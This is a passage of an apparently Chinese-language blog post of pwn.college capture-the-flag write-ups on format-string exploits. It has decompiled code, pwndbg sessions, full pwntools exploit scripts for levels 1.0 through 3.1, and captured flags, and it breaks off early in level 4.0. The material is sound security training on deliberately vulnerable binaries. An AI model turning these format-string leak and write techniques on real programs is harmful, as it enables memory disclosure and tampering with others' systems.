</content:encoded></item><item><title>Write-ups: Software Exploitation (Format String Exploits) series</title><link>https://cubeyond.net/posts/write-ups/pwncollege-format-string-exploits/</link><guid isPermaLink="true">https://cubeyond.net/posts/write-ups/pwncollege-format-string-exploits/</guid><description>Write-ups for pwn.college binary exploitation series.</description><pubDate>Wed, 29 Jan 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;前言&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;It&apos;s a thrilling intellectual puzzle, unlocking the secrets of a program from the inside out.&lt;/p&gt;
&lt;p&gt;~Description 你别吓我，万一我 IQ 没及格怎么办？那不是炸了？？~&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;玩点简单的 (probably)？智力游戏吧～&lt;strong&gt;&lt;em&gt;泄漏/篡改数据神技&lt;/em&gt;&lt;/strong&gt;，小子，是不是应该学透彻？&lt;/p&gt;
&lt;h1&gt;Level 1.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Use a format string exploit to reveal a string stored on the stack.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;unsigned __int64 func()
{
  unsigned int v0; // eax
  int v1; // eax
  _BYTE v3[456]; // [rsp+0h] [rbp-1E0h] BYREF
  unsigned __int64 v4; // [rsp+1C8h] [rbp-18h]
  __int64 savedregs; // [rsp+1E0h] [rbp+0h] BYREF
  _UNKNOWN *retaddr; // [rsp+1E8h] [rbp+8h] BYREF

  v4 = __readfsqword(0x28u);
  sp_ = (__int64)v3;
  bp_ = (__int64)&amp;amp;savedregs;
  sz_ = ((unsigned __int64)((char *)&amp;amp;savedregs - v3) &amp;gt;&amp;gt; 3) + 2;
  rp_ = (__int64)&amp;amp;retaddr;
  memset(&amp;amp;v3[16], 0, 0x1B0uLL);
  v0 = time(0LL);
  srand(v0);
  *(_DWORD *)&amp;amp;v3[112] = 0;
  while ( *(int *)&amp;amp;v3[112] &amp;lt;= 14 )
  {
    v3[*(int *)&amp;amp;v3[112]] = rand() % 26 + 65;
    ++*(_DWORD *)&amp;amp;v3[112];
  }
  v3[15] = 0;
  *(_QWORD *)&amp;amp;v3[80] = v3;
  puts(&quot;There is a 15-character uppercase secret password hidden on the stack!&quot;);
  puts(&quot;If you find it, you will be given the flag!&quot;);
  putchar(10);
  printf(&quot;The secret password is located at %p and the stack pointer is located at %p.\n&quot;, &amp;amp;v3[80], (const void *)sp_);
  printf(
    &quot;The difference between these addresses is: %d (%d / 8).\n&quot;,
    (unsigned __int64)&amp;amp;v3[-sp_ + 80] &amp;gt;&amp;gt; 3,
    (unsigned int)&amp;amp;v3[-sp_ + 80]);
  printf(&quot;This means, before the printf, the arguments to the format string will look something like:\n&quot;);
  printf(&quot;%p:\t[SECRET_PASSWORD]\n&quot;, &amp;amp;v3[80]);
  *(_DWORD *)&amp;amp;v3[112] = 0;
  while ( *(int *)&amp;amp;v3[112] &amp;lt; (unsigned __int64)&amp;amp;v3[-sp_ + 80] &amp;gt;&amp;gt; 3 )
  {
    printf(&quot;%p:\t[?]\n&quot;, &amp;amp;v3[-8 - 8LL * *(int *)&amp;amp;v3[112] + 80]);
    ++*(_DWORD *)&amp;amp;v3[112];
  }
  puts(&quot;R9:\t\t[?]&quot;);
  puts(&quot;R8:\t\t[?]&quot;);
  puts(&quot;RCX:\t\t[?]&quot;);
  puts(&quot;RDX:\t\t[?]&quot;);
  puts(&quot;RSI:\t\t[?]&quot;);
  puts(&quot;RDI:\t\t[FORMAT_STRING]&quot;);
  printf(&quot;I will now read up to %d bytes. Send your data!\n&quot;, 256);
  *(_DWORD *)&amp;amp;v3[116] = read(0, &amp;amp;v3[149], 0x100uLL);
  v3[*(int *)&amp;amp;v3[116] + 149] = 0;
  printf(&quot;Received %d bytes!\n&quot;, *(_DWORD *)&amp;amp;v3[116]);
  putchar(10);
  printf(&quot;I will now call printf on your data!\n&quot;);
  putchar(10);
  printf(&amp;amp;v3[149], 256LL);
  putchar(10);
  puts(&quot;What is the secret password?&quot;);
  *(_DWORD *)&amp;amp;v3[116] = read(0, &amp;amp;v3[96], 0xFuLL);
  v3[*(int *)&amp;amp;v3[116] + 96] = 0;
  if ( !strcmp(*(const char **)&amp;amp;v3[80], &amp;amp;v3[96]) )
  {
    puts(&quot;Correct Password!&quot;);
    v1 = open(&quot;/flag&quot;, 0);
    sendfile(1, v1, 0LL, 0x400uLL);
  }
  else
  {
    puts(&quot;Wrong Password!&quot;);
  }
  return __readfsqword(0x28u) ^ v4;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;第一题，核心伪代码如上，会随机生成一串字符串到栈上某个位置，绿色部分会判断输入是否和栈上的随机字符串相符，成立则输出 flag。&lt;/p&gt;
&lt;p&gt;红色部分直接把输入作为 &lt;code&gt;printf()&lt;/code&gt; 的 &lt;code&gt;const char *format&lt;/code&gt; 参数，是一个很明显的格式化字符串漏洞。&lt;/p&gt;
&lt;p&gt;再简单计算一下随机字符串在栈上第几位，加上 6 (&lt;code&gt;RDI&lt;/code&gt;、&lt;code&gt;RSI&lt;/code&gt;、&lt;code&gt;RDX&lt;/code&gt;、&lt;code&gt;RCX&lt;/code&gt;、&lt;code&gt;R8&lt;/code&gt;、&lt;code&gt;R9&lt;/code&gt;) 就是我们需要泄漏的参数位了。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Breakpoint 1, 0x00005b65398e08db in func ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────
 RAX  0x7ffe301646e0 ◂— &apos;XJHHXBRPRMBHWHQ&apos;
 RBX  0x7ffe30164a18 —▸ 0x7ffe3016677b ◂— &apos;/home/cub3y0nd/Projects/pwn.college/babyfmt_level1.0&apos;
 RCX  0x7b2b06f98a21 (read+17) ◂— cmp rax, -0x1000 /* &apos;H=&apos; */
 RDX  0x7ffe30164740 ◂— 0xa /* &apos;\n&apos; */
 RDI  0x7ffe301646e0 ◂— &apos;XJHHXBRPRMBHWHQ&apos;
 RSI  0x7ffe30164740 ◂— 0xa /* &apos;\n&apos; */
 R8   0x64
 R9   0xffffffff
 R10  0
 R11  0x246
 R12  1
 R13  0
 R14  0x7b2b070e5000 (_rtld_global) —▸ 0x7b2b070e62e0 —▸ 0x5b65398df000 ◂— 0x10102464c457f
 R15  0
 RBP  0x7ffe301648c0 —▸ 0x7ffe301648f0 —▸ 0x7ffe30164990 —▸ 0x7ffe301649f0 ◂— 0
 RSP  0x7ffe301646e0 ◂— &apos;XJHHXBRPRMBHWHQ&apos;
 RIP  0x5b65398e08db (func+936) ◂— call strcmp@plt
─────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────
 ► 0x5b65398e08db &amp;lt;func+936&amp;gt;    call   strcmp@plt                  &amp;lt;strcmp@plt&amp;gt;
        s1: 0x7ffe301646e0 ◂— &apos;XJHHXBRPRMBHWHQ&apos;
        s2: 0x7ffe30164740 ◂— 0xa /* &apos;\n&apos; */

   0x5b65398e08e0 &amp;lt;func+941&amp;gt;    test   eax, eax
   0x5b65398e08e2 &amp;lt;func+943&amp;gt;    jne    func+1005                   &amp;lt;func+1005&amp;gt;

   0x5b65398e08e4 &amp;lt;func+945&amp;gt;    lea    rdi, [rip + 0xa60]     RDI =&amp;gt; 0x5b65398e134b ◂— &apos;Correct Password!&apos;
   0x5b65398e08eb &amp;lt;func+952&amp;gt;    call   puts@plt                    &amp;lt;puts@plt&amp;gt;

   0x5b65398e08f0 &amp;lt;func+957&amp;gt;    mov    esi, 0                 ESI =&amp;gt; 0
   0x5b65398e08f5 &amp;lt;func+962&amp;gt;    lea    rdi, [rip + 0xa61]     RDI =&amp;gt; 0x5b65398e135d ◂— 0x72570067616c662f /* &apos;/flag&apos; */
   0x5b65398e08fc &amp;lt;func+969&amp;gt;    mov    eax, 0                 EAX =&amp;gt; 0
   0x5b65398e0901 &amp;lt;func+974&amp;gt;    call   open@plt                    &amp;lt;open@plt&amp;gt;

   0x5b65398e0906 &amp;lt;func+979&amp;gt;    mov    ebx, eax
   0x5b65398e0908 &amp;lt;func+981&amp;gt;    mov    ecx, 0x400             ECX =&amp;gt; 0x400
───────────────────────────────────[ STACK ]───────────────────────────────────
00:0000│ rax rdi rsp 0x7ffe301646e0 ◂— &apos;XJHHXBRPRMBHWHQ&apos;
01:0008│-1d8         0x7ffe301646e8 ◂— 0x51485748424d52 /* &apos;RMBHWHQ&apos; */
02:0010│-1d0         0x7ffe301646f0 ◂— 0
... ↓                5 skipped
─────────────────────────────────[ BACKTRACE ]─────────────────────────────────
 ► 0   0x5b65398e08db func+936
   1   0x5b65398e0a53 main+264
   2   0x7b2b06eb2e08 None
   3   0x7b2b06eb2ecc __libc_start_main+140
   4   0x5b65398e022e _start+46
───────────────────────────────────────────────────────────────────────────────
pwndbg&amp;gt; stack 30
00:0000│ rax rdi rsp 0x7ffe301646e0 ◂— &apos;XJHHXBRPRMBHWHQ&apos;
01:0008│-1d8         0x7ffe301646e8 ◂— 0x51485748424d52 /* &apos;RMBHWHQ&apos; */
02:0010│-1d0         0x7ffe301646f0 ◂— 0
... ↓                7 skipped
0a:0050│-190         0x7ffe30164730 —▸ 0x7ffe301646e0 ◂— &apos;XJHHXBRPRMBHWHQ&apos;
0b:0058│-188         0x7ffe30164738 ◂— 0
0c:0060│ rdx rsi     0x7ffe30164740 ◂— 0xa /* &apos;\n&apos; */
0d:0068│-178         0x7ffe30164748 ◂— 0
0e:0070│-170         0x7ffe30164750 ◂— 0x10000000a /* &apos;\n&apos; */
0f:0078│-168         0x7ffe30164758 ◂— 0
... ↓                2 skipped
12:0090│-150         0x7ffe30164770 ◂— 0xa0000000000
13:0098│-148         0x7ffe30164778 ◂— 0
... ↓                10 skipped
pwndbg&amp;gt; dist 0x7ffe30164730 $rsp
0x7ffe30164730-&amp;gt;0x7ffe301646e0 is -0x50 bytes (-0xa words)
pwndbg&amp;gt; p/d 0x50/8+6
$1 = 16
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    args,
    context,
    log,
    process,
    raw_input,
    remote,
)

FILE = &quot;./babyfmt_level1.0&quot;
HOST, PORT = &quot;94.237.57.115&quot;, 42156

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary


def launch():
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)
    return target


def main():
    target = launch()

    target.sendafter(b&quot;Send your data!&quot;, &quot;%16$s&quot;)
    target.recvuntil(b&quot;I will now call printf on your data!\n\n&quot;)

    secret = target.recvline(False)
    target.sendafter(b&quot;What is the secret password?\n&quot;, secret)

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{UGd_h1EnEGQDMhB1PSrD81fSSXs.dZTM0MDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 1.1&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Use a format string exploit to reveal a string stored on the stack.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;参见 &lt;a href=&quot;#level-10&quot;&gt;Level 1.0&lt;/a&gt;。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from contextlib import contextmanager

from pwn import ELF, context, gdb, log, process, remote

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./babyfmt_level1.1&quot;
HOST, PORT = &quot;localhost&quot;, 1337

gdbscript = &quot;&quot;&quot;
c
&quot;&quot;&quot;


@contextmanager
def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    target = None

    try:
        if local:
            elf = ELF(FILE)
            context.binary = elf

            target = (
                gdb.debug(
                    [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
                )
                if debug
                else process([elf.path] + (argv or []), env=envp)
            )
        else:
            target = remote(HOST, PORT)
        yield target
    finally:
        if target:
            target.close()


def construct_payload(leak_offset):
    payload = f&quot;%{leak_offset}$s&quot;.encode()

    return payload


def attack(target):
    try:
        payload = construct_payload(10)

        target.send(payload)
        target.recvuntil(b&quot;I will now call printf on your data!\n\n&quot;)

        password = target.recv(0xF)
        target.sendafter(b&quot;What is the secret password?\n&quot;, password)

        response = target.recvall(timeout=3)

        if b&quot;pwn.college{&quot; in response:
            return True
    except Exception as e:
        log.exception(f&quot;An error occurred while performing attack: {e}&quot;)


def main():
    try:
        with launch() as target:
            if attack(target):
                log.success(&quot;Attack completed successfully.&quot;)
            else:
                log.failure(&quot;Attack did not yield a flag.&quot;)
    except Exception as e:
        log.exception(f&quot;An error occurred in main: {e}&quot;)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{UQu4aFVleX5KV74QVvgMLBddqc-.ddTM0MDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 2.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Use a format string exploit to reveal a string stored on the stack.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;Breakpoint 1, 0x00005a05148a88fe in func ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────
 RAX  0x7ffe6d89d0a0 ◂— &apos;VCOMITKAHQHVEVP&apos;
 RBX  0x7ffe6d89d438 —▸ 0x7ffe6d89e77b ◂— &apos;/home/cub3y0nd/Projects/pwn.college/babyfmt_level2.0&apos;
 RCX  0x71da28ecea21 (read+17) ◂— cmp rax, -0x1000 /* &apos;H=&apos; */
 RDX  0x7ffe6d89d0b0 ◂— 0xa /* &apos;\n&apos; */
 RDI  0x7ffe6d89d0a0 ◂— &apos;VCOMITKAHQHVEVP&apos;
 RSI  0x7ffe6d89d0b0 ◂— 0xa /* &apos;\n&apos; */
 R8   0x64
 R9   0xffffffff
 R10  0
 R11  0x246
 R12  1
 R13  0
 R14  0x71da2901b000 (_rtld_global) —▸ 0x71da2901c2e0 —▸ 0x5a05148a7000 ◂— 0x10102464c457f
 R15  0
 RBP  0x7ffe6d89d2e0 —▸ 0x7ffe6d89d310 —▸ 0x7ffe6d89d3b0 —▸ 0x7ffe6d89d410 ◂— 0
 RSP  0x7ffe6d89d040 ◂— 0x800000
 RIP  0x5a05148a88fe (func+971) ◂— call strcmp@plt
─────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────
 ► 0x5a05148a88fe &amp;lt;func+971&amp;gt;     call   strcmp@plt                  &amp;lt;strcmp@plt&amp;gt;
        s1: 0x7ffe6d89d0a0 ◂— &apos;VCOMITKAHQHVEVP&apos;
        s2: 0x7ffe6d89d0b0 ◂— 0xa /* &apos;\n&apos; */

   0x5a05148a8903 &amp;lt;func+976&amp;gt;     test   eax, eax
   0x5a05148a8905 &amp;lt;func+978&amp;gt;     jne    func+1040                   &amp;lt;func+1040&amp;gt;

   0x5a05148a8907 &amp;lt;func+980&amp;gt;     lea    rdi, [rip + 0xaad]     RDI =&amp;gt; 0x5a05148a93bb ◂— &apos;Correct Password!&apos;
   0x5a05148a890e &amp;lt;func+987&amp;gt;     call   puts@plt                    &amp;lt;puts@plt&amp;gt;

   0x5a05148a8913 &amp;lt;func+992&amp;gt;     mov    esi, 0                 ESI =&amp;gt; 0
   0x5a05148a8918 &amp;lt;func+997&amp;gt;     lea    rdi, [rip + 0xaae]     RDI =&amp;gt; 0x5a05148a93cd ◂— 0x72570067616c662f /* &apos;/flag&apos; */
   0x5a05148a891f &amp;lt;func+1004&amp;gt;    mov    eax, 0                 EAX =&amp;gt; 0
   0x5a05148a8924 &amp;lt;func+1009&amp;gt;    call   open@plt                    &amp;lt;open@plt&amp;gt;

   0x5a05148a8929 &amp;lt;func+1014&amp;gt;    mov    ebx, eax
   0x5a05148a892b &amp;lt;func+1016&amp;gt;    mov    ecx, 0x400             ECX =&amp;gt; 0x400
───────────────────────────────────[ STACK ]───────────────────────────────────
00:0000│ rsp 0x7ffe6d89d040 ◂— 0x800000
01:0008│-298 0x7ffe6d89d048 —▸ 0x7ffe6d89d0a0 ◂— &apos;VCOMITKAHQHVEVP&apos;
02:0010│-290 0x7ffe6d89d050 ◂— 0
... ↓        5 skipped
─────────────────────────────────[ BACKTRACE ]─────────────────────────────────
 ► 0   0x5a05148a88fe func+971
   1   0x5a05148a8a76 main+264
   2   0x71da28de8e08 None
   3   0x71da28de8ecc __libc_start_main+140
   4   0x5a05148a822e _start+46
───────────────────────────────────────────────────────────────────────────────
pwndbg&amp;gt; x/2gx 0x7ffe6d89d0a0
0x7ffe6d89d0a0: 0x414b54494d4f4356 0x0050564556485148
pwndbg&amp;gt; x/s 0x7ffe6d89d0a0
0x7ffe6d89d0a0: &quot;VCOMITKAHQHVEVP&quot;
pwndbg&amp;gt; dist $rdi $rsp
0x7ffe6d89d0a0-&amp;gt;0x7ffe6d89d040 is -0x60 bytes (-0xc words)
pwndbg&amp;gt; p/d 0x60/8+6
$1 = 18
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这次我剑走偏锋，不用 &lt;code&gt;%s&lt;/code&gt; 了，而是尝试用更麻烦一点的 &lt;code&gt;%llx&lt;/code&gt; 输出栈上保存的随机字符串值，转换为 ASCII。因为小端序，所以还需要再反转一下。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from contextlib import contextmanager

from pwn import ELF, context, flat, gdb, log, process, remote, unhex

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./babyfmt_level2.0&quot;
HOST, PORT = &quot;localhost&quot;, 1337

gdbscript = &quot;&quot;&quot;
c
&quot;&quot;&quot;


@contextmanager
def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    target = None

    try:
        if local:
            elf = ELF(FILE)
            context.binary = elf

            target = (
                gdb.debug(
                    [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
                )
                if debug
                else process([elf.path] + (argv or []), env=envp)
            )
        else:
            target = remote(HOST, PORT)
        yield target
    finally:
        if target:
            target.close()


def construct_payload():
    payload = b&quot;%18$llx%19$llx&quot;

    return payload


def attack(target):
    try:
        payload = construct_payload()

        target.send(payload)
        target.recvuntil(b&quot;I will now call printf on your data!\n\n&quot;)

        password = flat(
            unhex(target.recv(2 * 8))[::-1],
            unhex(target.recv(2 * 7))[::-1],
        )

        target.sendafter(b&quot;What is the secret password?\n&quot;, password)

        response = target.recvall(timeout=3)

        if b&quot;pwn.college{&quot; in response:
            return True
    except Exception as e:
        log.exception(f&quot;An error occurred while performing attack: {e}&quot;)


def main():
    try:
        with launch() as target:
            if attack(target):
                log.success(&quot;Attack completed successfully.&quot;)
            else:
                log.failure(&quot;Attack did not yield a flag.&quot;)
    except Exception as e:
        log.exception(f&quot;An error occurred in main: {e}&quot;)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{QZG8MJMHwVhFNzjDx4guy6MBfEL.dhTM0MDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 2.1&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Use a format string exploit to reveal a string stored on the stack.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;参见 &lt;a href=&quot;#level-20&quot;&gt;Level 2.0&lt;/a&gt;。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from contextlib import contextmanager

from pwn import ELF, context, flat, gdb, log, process, remote, unhex

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./babyfmt_level2.1&quot;
HOST, PORT = &quot;localhost&quot;, 1337

gdbscript = &quot;&quot;&quot;
c
&quot;&quot;&quot;


@contextmanager
def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    target = None

    try:
        if local:
            elf = ELF(FILE)
            context.binary = elf

            target = (
                gdb.debug(
                    [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
                )
                if debug
                else process([elf.path] + (argv or []), env=envp)
            )
        else:
            target = remote(HOST, PORT)
        yield target
    finally:
        if target:
            target.close()


def construct_payload():
    payload = b&quot;%18$llx%19$llx&quot;

    return payload


def attack(target):
    try:
        payload = construct_payload()

        target.send(payload)
        target.recvuntil(b&quot;I will now call printf on your data!\n\n&quot;)

        password = flat(
            unhex(target.recv(2 * 8))[::-1],
            unhex(target.recv(2 * 7))[::-1],
        )

        target.sendafter(b&quot;What is the secret password?\n&quot;, password)

        response = target.recvall(timeout=3)

        if b&quot;pwn.college{&quot; in response:
            return True
    except Exception as e:
        log.exception(f&quot;An error occurred while performing attack: {e}&quot;)


def main():
    try:
        with launch() as target:
            if attack(target):
                log.success(&quot;Attack completed successfully.&quot;)
            else:
                log.failure(&quot;Attack did not yield a flag.&quot;)
    except Exception as e:
        log.exception(f&quot;An error occurred in main: {e}&quot;)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{MjTMloC44qXLBonimJ5i3Zq3ux-.dlTM0MDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 3.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Use a format string exploit to read the flag directly from the .bss section.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;这题直接把 flag 读到 &lt;code&gt;.bss&lt;/code&gt; 段了，所以思路很简单，就是把 &lt;code&gt;.bss&lt;/code&gt; 的地址写到栈上某个位置，然后通过 &lt;code&gt;%s&lt;/code&gt; 解引用输出这个地址的值。&lt;/p&gt;
&lt;p&gt;注意一定是先输入 fmtstr 再接地址，这个应该不需要解释吧。&lt;/p&gt;
&lt;p&gt;遇事别慌多调试，~&lt;em&gt;debugger 是你的 gf，你还不懂吗。&lt;/em&gt;~&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from contextlib import contextmanager

from pwn import ELF, context, flat, gdb, log, process, remote

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./babyfmt_level3.0&quot;
HOST, PORT = &quot;localhost&quot;, 1337

gdbscript = &quot;&quot;&quot;
b *func+436
b *func+549
c
&quot;&quot;&quot;


@contextmanager
def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    target = None

    try:
        if local:
            global elf

            elf = ELF(FILE)
            context.binary = elf

            target = (
                gdb.debug(
                    [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
                )
                if debug
                else process([elf.path] + (argv or []), env=envp)
            )
        else:
            target = remote(HOST, PORT)
        yield target
    finally:
        if target:
            target.close()


def construct_payload(position, data_offset):
    return flat(
        f&quot;aaa%{position}$s\x00&quot;,
        elf.bss() + data_offset,
    )


def attack(target):
    try:
        payload = construct_payload(16, 0x70)

        target.sendafter(b&quot;Send your data!&quot;, payload)

        response = target.recvall(timeout=3)

        if b&quot;pwn.college{&quot; in response:
            return True
    except Exception as e:
        log.exception(f&quot;An error occurred while performing attack: {e}&quot;)


def main():
    try:
        with launch(debug=False) as target:
            if attack(target):
                log.success(&quot;Attack completed successfully.&quot;)
            else:
                log.failure(&quot;Attack did not yield a flag.&quot;)
    except Exception as e:
        log.exception(f&quot;An error occurred in main: {e}&quot;)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{coYB13XxKYo3asb6os4GxIefmpC.dBjM0MDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 3.1&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Use a format string exploit to read the flag directly from the .bss section.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;参见 &lt;a href=&quot;#level-30&quot;&gt;Level 3.0&lt;/a&gt;。&lt;/p&gt;
&lt;p&gt;睡了一天为什么还是好困，不写了，睡觉觉，在想明天或者以后要不要写一个技巧向专题？明天得学学 &lt;code&gt;ret2csu&lt;/code&gt; 和 &lt;code&gt;SROP&lt;/code&gt;。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from contextlib import contextmanager

from pwn import ELF, context, flat, gdb, log, process, remote

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./babyfmt_level3.1&quot;
HOST, PORT = &quot;localhost&quot;, 1337

gdbscript = &quot;&quot;&quot;
b *func+310
c
&quot;&quot;&quot;


@contextmanager
def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    target = None

    try:
        if local:
            global elf

            elf = ELF(FILE)
            context.binary = elf

            target = (
                gdb.debug(
                    [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
                )
                if debug
                else process([elf.path] + (argv or []), env=envp)
            )
        else:
            target = remote(HOST, PORT)
        yield target
    finally:
        if target:
            target.close()


def construct_payload(position, data_offset):
    return flat(
        f&quot;%{position}$s\x00&quot;,
        elf.bss() + data_offset,
    )


def attack(target):
    try:
        payload = construct_payload(20, 0x90)

        target.sendafter(b&quot;Send your data!&quot;, payload)

        response = target.recvall(timeout=3)

        if b&quot;pwn.college{&quot; in response:
            return True
    except Exception as e:
        log.exception(f&quot;An error occurred while performing attack: {e}&quot;)


def main():
    try:
        with launch(debug=False) as target:
            if attack(target):
                log.success(&quot;Attack completed successfully.&quot;)
            else:
                log.failure(&quot;Attack did not yield a flag.&quot;)
    except Exception as e:
        log.exception(f&quot;An error occurred in main: {e}&quot;)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{UtDc1WIH6qas-RrhigjZpPLWMUP.dFjM0MDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 4.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Use a format string exploit to set a global variable.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;int check_win()
{
  int v0; // eax

  puts(&quot;Checking win value...&quot;);
  printf(&quot;... desired win value: %#lx\n&quot;, 194LL);
  printf(&quot;... written win value: %#lx\n&quot;, qword_404160);
  if ( qword_404160 != 0xC2 )
    return puts(&quot;... INCORRECT!&quot;);
  puts(&quot;... SUCCESS! Here is your flag:&quot;);
  v0 = open(&quot;/flag&quot;, 0);
  return sendfile(1, v0, 0LL, 0x80uLL);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;简单，通过逆向我们知道，&lt;code&gt;check_win()&lt;/code&gt; 输出 flag 的条件是 &lt;code&gt;.bss&lt;/code&gt; 段上的 &lt;code&gt;qword_404160&lt;/code&gt; 变量值为 &lt;code&gt;0xC2&lt;/code&gt;，为了满足这一条件，我们直接用 &lt;code&gt;%n&lt;/code&gt; 篡改即可。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from contextlib import contextmanager

from pwn import ELF, context, flat, gdb, log, process, remote

